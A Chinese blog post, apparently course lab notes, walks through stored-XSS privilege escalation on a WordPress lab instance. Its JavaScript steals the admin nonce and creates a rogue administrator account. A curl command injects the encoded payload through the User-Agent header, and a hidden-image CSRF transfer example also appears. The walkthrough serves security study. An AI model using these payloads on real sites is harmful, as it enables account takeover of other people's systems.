??? ??鄭重聲明:?本文所有安全知識與技術,僅用于探討、研究及學習,嚴禁用于違反國家法律法規的非法活動。對于因不當使用相關內容造成的任何損失或法律責任,本人不承擔任何責任。 如需轉載,請注明出處且不得用于商業盈利。?
? ? 💥👉點贊?? 關注🔔 收藏?? 評論💬💥?
? ? 更多文章戳👉Whoami!-CSDN博客🚀
??????
𖤐?嘿,經過前面的預熱,我們正式打開這扇門,來吧 !?
𖤐 𝓗𝓮𝔂,?𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀?𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷?!?
→ 信息收集
→ 漏洞檢測
→ 初始立足點
→?權限提升??WEB應用攻擊?利用XSS提權-----我們在這兒~?🔥🔥🔥
→ 橫向移動
→ 報告/分析
→ 教訓/修復??
目錄
1.跨站腳本攻擊(XSS)
1.1?通過XSS進行權限提升
1.1.1 偵查目標Cookie的安全標志
1.1.1.1?Cookie基礎知識
1.1.1.2 偵查目標Cookie的安全標志
1.1.2 替代提權思路:重新注冊管理員賬號
1.1.2.1 攻擊思路分析
1.注冊流程分析
2.攻擊步驟規劃
1.1.2.2 獲取WordPress的Nonce(一次性令牌)
1.關于Nonce和CSRF攻擊的概念
2.構建代碼---獲取Nonce
1.1.2.3 構建代碼---創建新管理員用戶
1.1.2.4 JavaScript代碼合并、壓縮和編碼
1.合并、壓縮代碼
2.代碼編碼為UTF-16
1.1.2.5?發送XSS payload
1.1.2.6?在Burp重放檢查
1.1.2.7 驗證是否成功新建管理員
1. 檢查XSS注入存儲情況
2. 權限提升驗證
💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬
1.跨站腳本攻擊(XSS)
? ? ? ? 跨站腳本攻擊(XSS)是一種利用網站對用戶信任的安全漏洞,攻擊者通過注入惡意腳本(如:JavaScript)到網頁中,當其他用戶訪問時執行這些腳本。曾經被認為是低風險漏洞,如今XSS已成為高風險且普遍的安全威脅。
? ? ? ??XSS漏洞根源在于數據清理不足:即Web應用程序未能正確處理用戶輸入,未刪除或轉換危險字符和字符串,導致攻擊者能夠注入并執行惡意代碼。
1.1?通過XSS進行權限提升
在前面的攻擊中,已經成功在目標WordPress應用程序中存儲、并成功存儲了惡意JavaScript代碼(<script>alert(42)</script>
)。當管理員用戶訪問包含此代碼的頁面(如start.php
)時,代碼將被執行。現在,我們需要利用這一位置的執行能力實現權限提升:獲取管理員權限。
1.1.1 偵查目標Cookie的安全標志
1.1.1.1?Cookie基礎知識
Cookie基礎知識
🍪?Cookie的作用:http協議是無狀態的,因此網站使用Cookie來跟蹤用戶狀態和信息
???安全風險:獲取已認證用戶的Cookie可冒充該用戶進行操作
🛡??安全標志:Cookie可使用幾個可選標志設置,其中以下兩個安全標準尤為重要:
Secure標志:僅在HTTPS加密連接中傳輸Cookie,這樣可以保護cookie不被以明文形式發送和在網絡上被捕獲。
HttpOnly標志:阻止JavaScript訪問Cookie內容,如果未設置此標志,可以使用XSS的payload來竊取cookie。
形象化比喻:
將會話Cookie比作商店的"會員卡":
普通Cookie:像紙質會員卡,可隨時查看修改
HttpOnly Cookie:像密封的電子會員卡,只能由收銀員(服務器)讀取,顧客(JavaScript)無法查看內容
為此,通過瀏覽器開發者工具分析WordPress的Cookie的標志:
📌?結論:有些會話Cookie沒啟用HttpOnly和Secure,可通過JavaScript直接竊取該會話Cookie。
1.1.1.2 偵查目標Cookie的安全標志
首先,以admin用戶身份登錄,驗證WordPress會話cookie的性質。然后,打開Web開發者工具,導航到Storage選項卡,然后在左側的Cookies菜單下點擊http://offsecwp。
分析上圖:
- Cookie 現狀:瀏覽器共存儲 6 個 Cookie,其中4個為會話 Cookie;排除測試用的
wordpress_test_cookie
后,剩余有效會話Cookie均支持HttpOnly字段。- HttpOnly 特性:支持 HttpOnly 的會話 Cookie 僅能通過 HTTP 請求自動發送給服務器,由服務器識別以驗證登錄用戶,無法被 JavaScript 檢索。
- 安全結論:當前無法通過 JavaScript 利用 XSS 漏洞獲取 Cookie,需尋找其他攻擊方法。
1.1.2 替代提權思路:重新注冊管理員賬號
既然無法直接竊取管理員Cookie,我們轉向創建新的管理員賬戶來實現權限提升。
📊 攻擊路徑對比
攻擊方法 | 可行性 | 難度 | 所需條件 |
---|---|---|---|
Cookie竊取 | ? 不可行 | 高 | 無HttpOnly標志的Cookie |
創建管理員賬戶 | ? 可行 | 中 | 獲取有效的nonce值 |
1.1.2.1 攻擊思路分析
1.注冊流程分析
WordPress管理員賬戶注冊需要以下:
-
? 用戶名(可自定義)
-
? 密碼(可自定義)
-
? 郵箱地址(可自定義)
-
🔑?Nonce(一次性數字):關鍵安全令牌,防止CSRF攻擊(需要獲取!一旦獲取就直接可注冊新管理員,實現提權。)
🔑提示:如何知道注冊所需這些字段,在注冊頁面多研究即可知道。
2.攻擊步驟規劃
-
使用XSS payload竊取當前管理員的nonce
-
利用獲取的nonce自動注冊新管理員賬戶
-
使用新創建的管理員賬戶登錄系統
1.1.2.2 獲取WordPress的Nonce(一次性令牌)
1.關于Nonce和CSRF攻擊的概念
什么是Nonce?
🔑?Nonce(Number Used Once):服務器生成的一次性令牌(隨機生成的字符串)
🛡??安全作用:增加請求隨機性,防止跨站請求偽造(CSRF)攻擊
📍?存在位置:包含在WordPress的每個管理請求中
為什么需要獲取Nonce?
🔐?權限驗證:WordPress使用nonce驗證管理操作的合法性
🚫?防御繞過:沒有有效nonce無法執行管理員操作
👨?💻?攻擊前提:創建新管理員賬戶必須提供有效nonce
Nonce安全特性
???時效性:nonce具有時間敏感性,會過期失效
🔢?唯一性:每個用戶會話的nonce值不同
🎲?隨機性:無法預測的隨機字符串
🎯 什么是CSRF攻擊?
CSRF(Cross-Site Request Forgery)攻擊是一種利用用戶已認證狀態進行的攻擊
CSRF攻擊示例:
<!-- 惡意網站上的隱藏代碼 --> <img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT" width="0" height="0" border="0">
<img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT">
: 這是一個普通的 HTMLimg
標簽,它包含了一個指向 realbank.com 的請求URL。
? ??這個 URL 看起來像是一個銀行轉賬請求:
? ? ??amount=1000
?:表示轉賬金額為1000
? ? ??to=ATTACKER_ACCOUNT
?:表示轉賬目標是一個攻擊者賬戶。當瀏覽器加載這個圖片時,會向 realbank.com 發送一個GET請求,并且URL中帶有參數,可能會導致用戶賬戶無意中進行轉賬。
width="0" height="0" border="0"
: 這些屬性將圖片的顯示尺寸設置為0x0
,即該圖片是不可見的(或者幾乎不可見),不會在網頁中顯示出來。攻擊者利用這種方式發送請求時,用戶是看不見的,但該請求仍會被發送到目標服務器。CSRF攻擊場景:
- 攻擊者創建了一個網頁或電子郵件,包含了上述代碼。
- 當受害者登錄到一個銀行網站或其他具有認證的服務時,攻擊者誘使受害者訪問該網頁(比如點擊一個鏈接或查看一個圖片)。
- 因為受害者已經登錄了銀行賬戶,瀏覽器會自動附帶用戶的認證信息(如cookies),所以這個請求會成功執行。
- 該請求會在受害者的賬戶上執行一個不必要的操作,例如:轉賬到攻擊者的賬戶。
CSRF攻擊條件與防護:
攻擊條件 防護措施 ? 用戶已登錄目標網站 🔒 使用CSRF Token(Nonce)--- 也就是本文注冊管理員賬號時所需獲取的Token。
每次發起請求時需帶上這個Token,服務端驗證Token是否有效。如果請求中缺少或錯誤的Token,服務端就拒絕該請求。
? 會話Cookie有效 🔍 驗證請求來源(Referer/Origin頭),確保請求是從合法的銀行網站發起的。 ? 用戶訪問惡意內容 📱 敏感操作重新認證(比如轉賬時),要求用戶重新確認身份(例如,輸入密碼、短信驗證碼等)。
2.構建代碼---獲取Nonce
該函數通過同步的HTTP請求,向WordPress后臺/wp-admin/user-new.php頁面發送GET請求,然后從返回的HTML中根據正則表達式nonceRegex在HTTP響應中獲取到nonce值。
function getNonce() {var nonceRegex = /"nonce":"([a-f0-9]+)"/;var request = new XMLHttpRequest();// 同步請求(false)管理員頁面request.open('GET', '/wp-admin/user-new.php', false); request.send();// 從響應中提取nonceif (request.status === 200) {var match = nonceRegex.exec(request.responseText);if (match && match[1]) {return match[1]; // 返回獲取的nonce值}}return null; // 獲取失敗返回null
}var nonce = getNonce(); // 調用getNonce函數獲取nonce值
以上函數體摘出并簡化如下:
代碼段1:同步獲取nonce
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
函數執行流程:
1.1.2.3 構建代碼---創建新管理員用戶
成功獲取WordPress的nonce后,攻擊者可以構造JavaScript函數創建具有管理員權限的新用戶賬戶,完成權限提升。
構建用戶創建代碼:
function createAdminUser(nonce) {var params = "action=createuser" +"&_wpnonce_create-user=" + nonce +"&user_login=attacker" +"&email=attacker@offsec.com" +"&pass1=attackerpass" +"&pass2=attackerpass" +"&role=administrator";var ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", "/wp-admin/user-new.php", true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.setRequestHeader("Content-Length", params.length);ajaxRequest.send(params);
}
函數詳細說明:
函數定義
function createAdminUser(nonce)
?定義了一個接收?nonce
?參數的函數,nonce
?是用于驗證請求合法性的安全令牌(通常從之前的?getNonce()
?函數獲取)。構建請求參數
params
?變量拼接了創建用戶所需的表單數據,包含:
action=createuser
:指定操作類型為 “創建用戶”_wpnonce_create-user=
:攜帶安全驗證令牌?nonce
(防止 CSRF 攻擊)- 用戶信息:用戶名(
user_login=attacker
)、郵箱(email=attacker@offsec.com
)、密碼(pass1=attackerpass
?和?pass2=attackerpass
,兩次輸入需一致)- 角色權限:
role=administrator
(將新用戶設置為管理員權限)配置并發送 POST 請求
- 創建?
XMLHttpRequest
?對象用于發起請求- 以 POST 方式請求 WordPress 后臺的 “新建用戶” 頁面(
/wp-admin/user-new.php
),true
?表示異步請求- 設置請求頭:
Content-Type
?為表單數據格式,Content-Length
?為參數長度- 通過?
request.send(params)
?發送構建好的表單數據
以上函數體摘出并簡化如下:
代碼段2:異步新建管理員賬戶
var params = "action=createuser&_wpnonce_createuser="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=
attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
1.1.2.4 JavaScript代碼合并、壓縮和編碼
由于最終使用curl命令推送Post請求,為了確保我們的JavaScript代碼有效payload能夠被Burp和目標應用程序正確處理,需要先對其進行合并、壓縮,然后進行編碼為UTF-16。
1.合并、壓縮代碼
將上述兩端代碼(獲取nonce、注冊新管理員賬戶)壓縮成一行,可以轉到JS Compress(https://jscompress.com/),然后點擊“compress JavaScript”后,復制輸出的一行代碼并將其保存在本地。
2.代碼編碼為UTF-16
我們將對壓縮后的JavaScript代碼進行編碼,以避免一些特殊字符被瀏覽器或防火墻攔截。使用以下函數來實現:
encode_to_javascript函數將解析縮小的JS字符串參數,并使用charCodeAt()方法將每個字符轉換為相應的UTF-16整數代碼。
以上JavaScript函數,可以在瀏覽器的控制臺中運行。
1.1.2.5?發送XSS payload
構建好XSS payload的UTF-16代碼后,使用curl命令發送請求。
在運行curl攻擊命令之前,啟動Burp并保持攔截狀態。
Burp Suite配置步驟:
啟動Burp Suite并確保代理運行在
127.0.0.1:8080
開啟攔截功能(Intercept On)
配置瀏覽器使用Burp作為代理(如未系統級設置)
使用cURL發送XSS payload:
curl -i http://offsecwp \
--user-agent "<script>eval(String.fromCharCode(...))</script>" \
--proxy 127.0.0.1:8080
參數 | 作用 | 說明 |
---|---|---|
-i | 顯示完整響應 | 包含HTTP頭和響應體 |
--user-agent | 設置惡意載荷 | 注入點,注入XSS攻擊代碼執行 |
--proxy | 指定代理服務器 | 通過Burp Suite路由流量 |
eval() | JavaScript的內建函數,它將傳入的 字符串作為JavaScript代碼執行 | 執行代碼用 |
String.fromCharCode()? | JavaScript的一個方法,它接受一組Unicode字符碼,并將它們轉換為一個字符串,用來解碼字符串。 | 將剛剛編碼的代碼進行解碼 |
curl命令的完整內容如下:
1.1.2.6?在Burp重放檢查
運行curl命令后,我們可以在Burp中檢查請求。
檢查后正確,點擊轉發來“Forward”請求,然后禁用攔截。
1.1.2.7 驗證是否成功新建管理員
?? 可能的響應結果:
①?成功響應 (HTTP 200):?表示新管理員賬戶已成功創建。
這時,攻擊者能夠控制這個新賬戶。(!得到管理員權限了)
{"success": true,"data": {"user_id": 15,"username": "attacker","role": "administrator"}
}
②?若失敗,失敗響應及原因:
錯誤類型 | 原因 | 解決方案 |
---|---|---|
??Invalid nonce | Nonce值無效或過期 | 重新獲取最新nonce |
??Permission denied | 當前會話權限不足 | 等待管理員訪問 |
??User exists | 用戶名或郵箱已存在 | 修改用戶名/郵箱 |
現在我們在頁面上驗證是否新建管理員:
1. 檢查XSS注入存儲情況
以管理員身份登錄OffSec WP實例后,訪問visitors插件儀表板:
檢查項目 | 觀察結果 | 意義分析 |
---|---|---|
🔍?數據庫條目數量 | 僅有一個條目 | 表明請求已被記錄 |
📝?用戶代理字段顯示(上圖紅框) | 無文本內容顯示 | 瀏覽器無法渲染<script> 標簽內容 |
??XSS執行證據 | 成功新建管理員 | 腳本已在后臺執行 |
2. 權限提升驗證
通過左側窗格的"Users"菜單檢查用戶列表:
可以看到已經成功添加剛剛新建的attacker的管理員賬號。我們通過一個特制的HTTP請求,利用XSS漏洞成功將應用程序權限從標準用戶提升為管理員。
用戶賬號 | 角色權限 | 狀態 |
---|---|---|
administrator | 管理員 | 原有賬戶 |
attacker | 管理員 | 新創建的攻擊賬戶 |
💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬
您的支持是我創作最大的動力!